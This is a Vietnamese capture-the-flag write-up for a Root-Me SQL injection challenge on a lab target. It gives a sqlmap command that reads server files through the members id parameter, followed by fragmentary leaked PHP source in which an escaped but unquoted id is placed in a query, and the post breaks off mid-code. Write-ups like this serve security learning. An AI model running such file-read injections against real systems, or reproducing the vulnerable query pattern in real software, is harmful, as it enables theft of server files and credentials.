--- template: overrides/blog.html icon: material/plus-circle title: SQL injection - File reading description: > search: exclude: true hide: - feedback tags: - SQL Injection --- # __SQL injection - File reading__ :octicons-calendar-24: May 03, 2023 --- ## __Tài nguyên và link challenge__ Tài nguyên của challenge này tại [https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-file-reading](https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-file-reading) Link challenge này tại [:octicons-arrow-right-24: http://challenge01.root-me.org/web-serveur/ch31/][http://challenge01.root-me.org/web-serveur/ch31/] [http://challenge01.root-me.org/web-serveur/ch31/]: http://challenge01.root-me.org/web-serveur/ch31/ ## __Tổng quan__ Trong challenge này, mục tiêu của ta là lấy được password admin. ## __Kịch bản tấn công__ ### Bước 1: Kiểm tra website Challenge này cung cấp cho ta 2 website: 1 cho việc login tài khoản, 1 cho việc xem thành viên (trang Members). ### Bước 2: Khai thác website Well, nhìn đề bài ta cào source code bằng sqlmap cho nhanh. Xem nó ra gì ::) Dùng lệnh `python sqlmap.py -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" --file-read=/challenge/web-serveur/ch31/index.php` để xem sourcecode
Authentication success !!
"; if ($user == "admin") print "Yeah !!! You're admin ! Use this password to complete this challenge.
"; else print "But... you're not admin !
"; } else{ // authentication failed print "Authentication failed !
"; } } else{ print "User not found !
"; } } } if($_GET['action'] == "members"){ if(isset($_GET['id']) && !empty($_GET['id'])) { // secure ID variable $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $_GET['id']); $result = mysqli_query($GLOBALS["___mysqli_ston"], "SELECT * FROM member WHERE member_id=$id") or die(mysqli_error($GLOBALS["___mysqli_ston"])); if(mysqli_num_rows($result) == 1) { $data = mysqli_fetch_array($result); print "ID : ".$data["member_id"]."